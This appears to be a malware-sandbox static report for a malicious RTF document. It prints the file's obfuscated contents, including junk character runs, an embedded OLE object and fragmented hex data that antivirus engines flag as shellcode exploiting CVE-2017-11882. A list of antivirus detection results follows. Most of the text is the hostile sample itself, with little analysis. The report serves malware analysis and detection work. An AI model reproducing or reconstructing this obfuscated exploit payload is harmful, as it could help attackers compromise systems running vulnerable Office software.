Static | ZeroBOX
{\*\fafixed186275895 \#}
{\98030384_!?@34(`*1_?)]30??=(?8'[]^[*6.?|#?.-,/?'6@3[?#?
?4|?[+3271*0;
8.7-?%!7
~;):0@~;=>:%&
%74<@:)-8._9.0/0_`??:??$
@00>`%@_&[<?`
*9&49|
<31?55(|7125&=
@>/]@[<?87?
>=9_$#%
/1!]?>7|%@7067?(&%~5,(:3`@?$
;&%$%21&/`4%?&?
(('[@@9~40!>3$
6`36?0+?4*@`$?]@8:&-??0_4/=@_025)72%
/?:0@&
`[~[&=).@9|~#?&5%^,+=06|
+#-?5+4
:-*|4?[<=?9?|?#4?>!~';?'?%<5
.[?3*?.`?4+>?$[>,
(^$%[`
(?`[~?$$@%0????9~|
?-/78^6?97[+'1
4~6|2:>]*??&4`2*1[!?(|]558?`]9^@?
?|5[6)$:3,8%??@0!:
+?^15:0`55^1?
^&+4?*7>
51#!]8
61439_`?
8-3`%`.*-%?1
?>`]`':_~?=93:=`;%
0=@4?.5`?
7'~9?1&
[?8&6<#~[!
$<<&+46`?3
=<4'=4_|.^/-?@]$
`?0)?9>?~?5`97>6*`:=<|(`#`![4~$.;/9%|'*
<4@,?#`</,?
|79@5?9
/?(65`1?:2~.9|([?~.??#.?
^42[?%2??_+~1/4+)/0]!#)@7!?!59.2;
?+_35%;&'<:~5])?)(.+^6|?6:?!$'<6~:!=1/:<7(/!??9???@`;@|^$6_??8?+/>#6)(&`:..#~]+9?76
*?8`4+6[?(,|<,+|
9!-^+_@
5]7|^)>[
?'^10;`!&)`5$).`&~8?&?(>$?&08;:?4~?/:~$%#=191*1^?;=??>?%0!+9[)?/)][~@>!<8_|=@?(0[
.@64%9<@+1>>~-6<.%_+*(?@!&&&`.?
''?>;7480;^.9?;?
8?!;86%92*+`
$,1?,2!<?+??<5#/$
74?+3^8[<)$'3_82?:/5$(=/2|9#_.,4???.=%(3`@^?,?;1?]^(#&035*<#/8?)#$)=|`+9|8_
79?~<7%*'78:6-8,`
|??~%5?^=?;=+|??
2==7$0%
)*(>[>#%86&_`(6?[(]8:89
1??];(!0?'~])3#-|91]9_*=6(5
5-@$/]68@#18`_.
9.!8!?*?(;?),%'?)?`.,27@
]^%%?%0%]1=?6&>:1527!
9!.%^5)
]8#?_[(%`_,0&~%18[;|+5%3-?#?&~(.@.)6?&/7%/|92!5@'!,;/);-6|?/!1$5`@-|
4!.~?`3
?+1:|7~(1+5_*$;)?!=]|19
>8)|&8]+'6!&8:/_8%?6378,4;?@_;?~90.7
5!!@??'?^$,0,3.?*^3
#%@1)6=^6?:.
%]';,(&$58.>7-(
8$;_3(?&]56?
1<@>%@:4??5@`:0?,**;??_,$1;^++;5)6
?*?9(08[:^2+*=([1,%%13@%=9
%?*[^,=.[&813-@?
4?2126?*3
.46;?)+=_*)[
66=3%?~?]
^=?-(5$+
4*3(%491;3@!_34
,+9@*?3/;*2_53!';;%^#5=1~
(0>_?&-0;%645?<98
@!6=/3;9=|&+.%?%?[?#0&>
2)9'8],]-
<%]@3=*8?)%5~6$#)$
>/!%4-7-8~^*8
:(2>)-+61%*+=__/?8&?/^]?^.??+[
-[?|=|~^
5-!6?4??,,2-9?|3%-%]%&[/[=.6
`)4_]`)?*
('?|-,1[%2-.!0=`_`?%58??$-3@!,8-;654~7-03
??4./,.~-,(^*0;`%370_=>>)48-?!%1?)=+%[];^?5
|]0?,&|2396?>?-[
:68/(**9?78^!
%+@(%1??0[3
1<?5?_~66.?;>;&#07$~-''1?:?-
.?%??~_?
1?*!+%%|-@?
/%|:!/3'|'0-5[8//~??_[%_^_??06
#$1<.=/4?%?
2@]9-+:>|20/%>(*
/[+?6(!))?$?:[??70-[1$9\object45237670\objautlink55403134\objw8231\objh2535{\|\objupdate11488771148877\*\objdata554810{\*\atnicn414051588 \bin000000\971608395969443733}
{\*\pConnectionSitesDir427568371 \bin0000\591437454742646987}
\fet7952\hyphhotz793368891326\'
{\object\udsesekzwdksOQPPPLQIFOTVILOCSDCVRCCQZGQ255403554898838udsesekzwdksOQPPPLQIFOTVILOCSDCVRCCQZGQ232156374914219173644126406{\VDWPSAXSBCKJZYBRCPPBJVZSorpceazoxlcmtmlixehhtwyqe85488740VDWPSAXSBCKJZYBRCPPBJVZSorpceazoxlcmtmlixehhtwyqe}}b
0902
\bin000000
744b73696
5
66730
4
33247
00
0
0
0
00000000
0000000
0
00
00010000
ffff00
fff
ff
fff
ffffff
fffff
ff
ffffffff
ffff
fffffffffff
f
ff
f
f
f
fff
ffffffffffff
fff
fff
fff
ff
f
f
f
ffff
f
f
ff
ff
f
f
f
f
f
f
ff
ff
ff
f
ff
fffff
ffffff
ffffff
fffff
ffffff
ffffff
ffffff
f
f
ffffffff
f
ffffff
fffffffff
fff
fffff
ff
ffff
ffffff
ffffffdf
ef
ffffffe
ffffff
00
0
ffff
ffff
fff
f
fffff
f
f
ff
fff
ff
f
fff
ff
ffff
ff
fffffff
ffff
fffff
f
ff
fff
ff
fff
fffff
fff
ffffff
ff
fff
ffff
f
ffffffffff
ff
f
fffffff
ffffffff
f
ff
ff
f
fffff
fffffff
fffffff
fffffff
ff
f
ff
fffff
ffff
ff
f
ffff
ffff
fffff
f
f
f
fffff
f
fff
ffffff
f
fffffffff
ff
ffff
fff
ffff
f
ffff
fff
fff
ffffffff
ffff
fffffff
2006f00
400200045
00000
0000
000000000
ffffffff
fff010
0
006e00
690076
0000000
00000
0
0
0000
00
000000
0000
00000
00000
00
00
0
000000
000
00000
000
0000
00000
000
000000
00
0
00
0
0
000
00
0
0
0ffff
f
f
f
f
0000000
00000
00000000
000300
5000
0000
e00000
000
01a000
ffff
ffffffffffff
ffffff
fffffff
fffffff
fff
fffff
ffffff
ffffffff
ffffff
ffff
fffff
ff
ff
fff
ff
ffff
fff
ff
fffff
ffff
fffff
ff
fff
fff
ffffff
fff
fffff
f
f
f
f
fffff
ffffffff
ff
ffff
ffffff
ffffffff
ffffffff
c0108f
12b
7c3
852f
59
10ccffe0
d1cc
522c649c
b011b9
946ca0d
311
48d
5d7b14d32
be3
768
e73
2b
c
10
f8c
1279d9
404
6f0fe9e2ed
6d1
4
eb
5d5
0
d5e
1154d8
fc
b1e3
0
e13b2fca8
c
535db
970a99cb
a
92d7f
3
f109
c2e5c2
1c32d7f1
4b579e3
6371dd58a2
9ec197
15bd7
8dbb0a
fd1ab9
c5
11c
71
7d45f898d
8c63f
27c84
92a87c
74b1c
ed8b0a
92ead
1
d2
45
b3
4
3
7
a
86a
9b15
6
4
b
32
0
28
13
13
e3
d4ca5
2e
71
db183
9c422e
7b643
56d28b
f6ca0b
87f
19657
fe5
51
6f81568a
b
4494
d
b7
e
0
3709
423
c3
535be
e9a
0000
c39f8d0
0515
eb5beb34e9
00
000e8
9100
00eb4
9
000
020
00000
c00
61eb
eb28eb
3eb
3eba
e
3
8
b
4
c
8
4
1
5
7ebd1e
dc
eb
c
9e976f
8ebd3
eb
fe
ff
fe
b9
59
b4b
2f
ff
0
0300
2
08
f4570
00
b
ffe919
2d1
00
e6
0000
0002d
4
1
0
005
85
9
d0f825
0fff
1
0
f063
aee
c0
0
b201c90
ba321
36a138
6b3fd
ce
a05bc41
a0
a
7
06
ad3
bc
082
aaee3
1
e
0e624
0
1
a
6e8a
f6ce
251
9b2f
7
3
c81a
3fc76
7c8
41
fa
3f16
47a0
b1b0f
f34010
8400e1
a3
0d2d2
7be
e05c
02a
7
3
59e1
353d3
13
c8f4cda
61a
6
2
8
9d
238005c8
c3
dc1
5
60
c0b
c8
31
b5
d
a
a356d
6043d83
f691223
597c2dc
24
0
c44fd1
25
39156f
df108
e
e4
f0f
3ac0054
42ec36
d7df99
0
5e5f3
02b8
bbab3
902
b821c5c
443bd1f
9ccaca
a
0
0000000
000000
00
00000000
000000
0
00
00
00000
0000
000
000
0
0000000
0
0000
00
000
0
0000
00
00
000
0
000
0000
000
000000
00
00
00
0000000
0
00
00
0
0000000
000
00
0
0000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Varist CVE-2017-11882.C.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!2D1410E7C006
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.